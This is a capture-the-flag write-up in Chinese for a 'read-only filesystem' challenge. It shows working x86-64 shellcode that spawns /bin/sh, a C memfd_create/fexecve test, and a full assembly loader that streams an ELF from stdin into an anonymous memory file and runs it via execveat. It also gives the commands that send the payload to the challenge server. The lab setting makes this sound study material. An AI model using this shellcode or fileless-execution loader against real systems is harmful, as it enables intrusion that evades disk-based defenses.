Skip to content

Latest commit

 

History

History
187 lines (150 loc) · 6.32 KB

只读文件系统.md

File metadata and controls

187 lines (150 loc) · 6.32 KB

只读文件系统

首先看看代码什么功能:

  • overflow.c 从 stdin 读了至多 4096 byte 的 payload 然后执行;
  • checker.pychroot 里启动 overflow 程序,然后不断检查 procfs 里的可执行文件镜像,如果和 /hello 一样就输出 flag。

大方向非常明显,就是我们要让 overflow 程序 exec/hello。一开始我考虑的方向有:

  1. hello 写到某个 tmpfs 里再 exec
  2. 通过某种方式脱出 chroot

这里先插个简单的 shellcode 拿 shell,看看环境里有什么可以利用的:

.globl  main
.type   main, @function
main:
    pushw $0x0068
    pushw $0x732f
    pushw $0x6e69
    pushw $0x622f

    movq %rsp, %rdi    # arg1: '/bin/sh'
    xorq %rdx, %rdx    # arg3: envp = NULL
    pushq %rdx
    pushq %rdi
    movq %rsp, %rsi    # arg2: argv = ['/bin/sh', NULL]
    movq $59, %rax
    syscall

    xorq %rdi, %rdi
    movq $60, %rax     # sys_exit
    syscall

好像确实没啥可落脚的地方:

ls /bin
cat ls sh
echo > /overflow
/bin/sh: 3: cannot create /overflow: Read-only file system
echo > /dev/xx
/bin/sh: 5: cannot create /dev/xx: Read-only file system
echo > /dev/fd/xx
/bin/sh: 6: cannot create /dev/fd/xxx: Read-only file system

后来研究了一会儿如何脱出 chrootunshare --mount 可能是可行的。但服务器 chroot 环境里什么可执行文件都没有,自己写汇编实现感觉又非常麻烦,所以就暂时放弃这个思路了。

搜索 run elf in memory,得知可以用 memfd_create + fexecve 直接跑内存里的可执行文件。下面是个很简单的测试程序:

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char **argv) {
    int mfd = memfd_create("", MFD_CLOEXEC);
    int rfd = open("./hello", O_RDONLY);
    char buf[8];

    while (1) {
        int nb = read(rfd, buf, 8);
        if (nb == 0) break;
        write(mfd, buf, nb);
    }

    const char * const new_argv[] = {"hello", NULL};
    const char * const new_envp[] = {NULL};
    int ret = fexecve(mfd, new_argv, new_envp);
    return ret;
}

本地测试一下,确实是可行的:

SHELL1 $ gcc memfd_test.c && ./a.out
SHELL2 $ ls -l /proc/$(pidof hello)/exe
lrwxrwxrwx 1 cuihao cuihao 0 Oct 25 17:47 /proc/67371/exe -> '/memfd: (deleted)'
SHELL2 $ diff /proc/$(pidof hello)/exe hello

接下来构造 shellcode payload。注意到 hello 可执行文件有 16744 byte,而 overflow 最多读 4096 byte 肯定是不能直接塞 payload 里的。所以需要先写一段代码从 stdin 读可执行文件到 memfd。

我一开始的做法是,把 shellcode payload 补零填充到 4096 byte,后面再接上可执行文件。我以为 overflowread 会读完 4096 byte 的 shellcode,然后 shellcode 读到的就是可执行文件。本地测试时这样的确没有问题,但扔到服务器就是不行。后来加了一些 print(汇编里 print debug 也很麻烦)才发现 read 一次并不能读满 4096 byte(可能是网络传输的原因),所以 shellcode 里会读到一些填充的0。

解决方法是在 shellcode 里加一个循环,丢掉一开始的多出的 0。最后的 shellcode 如下:

.globl  main
.type   main, @function
main:
    pushw $0x0000
    movq %rsp, %rdi        # arg1: name = ""
    movq $1, %rsi          # arg2: flags
    movq $319, %rax        # sys_memfd_create
    syscall
    movq %rax, %r15        # r15: memfd

    xorw %ax, %ax
    pushw %ax              # input buffer (2B, but only 1B is used)

    leaq 0x40(%rip), %r12  # r12 to break
    leaq (%rip), %r13      # r13 to loop1 body

    # loop1 (skip zero bytes)
    movq %rsp, %rsi        # arg2: buffer
    xorq %rdi, %rdi        # arg1: fd = stdin
    movq $1, %rdx          # arg3: count = 1
    movq $0, %rax          # sys_read
    syscall

    movw (%rsp), %cx
    testw %cx, %cx
    cmovnzq %r12, %r13     # if buffer[0] == 0
    jmp *%r13              #   break

    nop; nop; nop; nop; nop; nop; nop; nop; nop; nop;
    nop; nop; nop; nop; nop; nop; nop; nop; nop; nop;
    nop; nop; nop; nop; nop; nop; nop; nop; nop; nop;

    movq $16744, %r10      # r10: total size to write
    leaq 0x40(%rip), %r12  # r12 to break
    leaq (%rip), %r13      # r13 to loop2 body

    # loop2 (stdin -> memfd)
    movq %r15, %rdi        # arg1: memfd
    movq %rax, %rdx        # arg3: count
    movq $1, %rax          # sys_write (arg2: buffer, unchanged)
    syscall
    subq %rax, %r10        # update size to write

    xorq %rdi, %rdi        # arg1: fd = stdin = 0
    movq $1, %rdx          # arg3: count = 1
    movq $0, %rax          # sys_read (arg2: buffer, unchanged)
    syscall

    testq %r10, %r10
    cmovzq %r12, %r13      # if r10 == 0 (all bytes are written) 
    jmp *%r13              #   break

    nop; nop; nop; nop; nop; nop; nop; nop; nop; nop;
    nop; nop; nop; nop; nop; nop; nop; nop; nop; nop;

    popw %ax
    movq %rsp, %rsi        # arg2: filename = ""
    pushw $0x5555
    movq %rsp, %rax
    pushq $0x0000
    pushq %rax
    leaq (%rsp), %rdx      # arg3: argv = ['\x55\x55', NULL]
    leaq 8(%rsp), %r10     # arg4: envp = [NULL]
    movq %r15, %rdi        # arg1: dfd
    movq $0x1000, %r8      # arg5: flags = AT_EMPTY_PATH
    movq $322, %rax        # sys_execveat
    syscall

这里条件 jmp 的实现非常扭曲。因为我当时以为 label 不是 position independent 的,不能在 shellcode 用。事实上包括 jmp 在内的跳转指令会用相对地址寻址,所以直接用 label 没有问题。

下面把 shellcode 扔到服务器上就能拿到 flag 了:

$ gcc loader.s -o loader
$ objdump --disassemble=main loader
......
0000000000001119 <main>:                   
    1119:       66 6a 00                pushw  $0x0
......
    1208:       0f 05                   syscall 
    120a:       66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)
$ dd if=loader ibs=1 skip=$((0x1119)) count=$((0x120a-0x1119)) of=loader.shellcode
$ truncate -s 4096 loader.shellcode
$ (printf "$FLAG\n"; sleep 5; cat loader.shellcode; cat hello; echo; cat) | nc 202.38.93.111 10106
Please input your token: Starting challenge...
Checking...
hello world
Checking...
flag{......}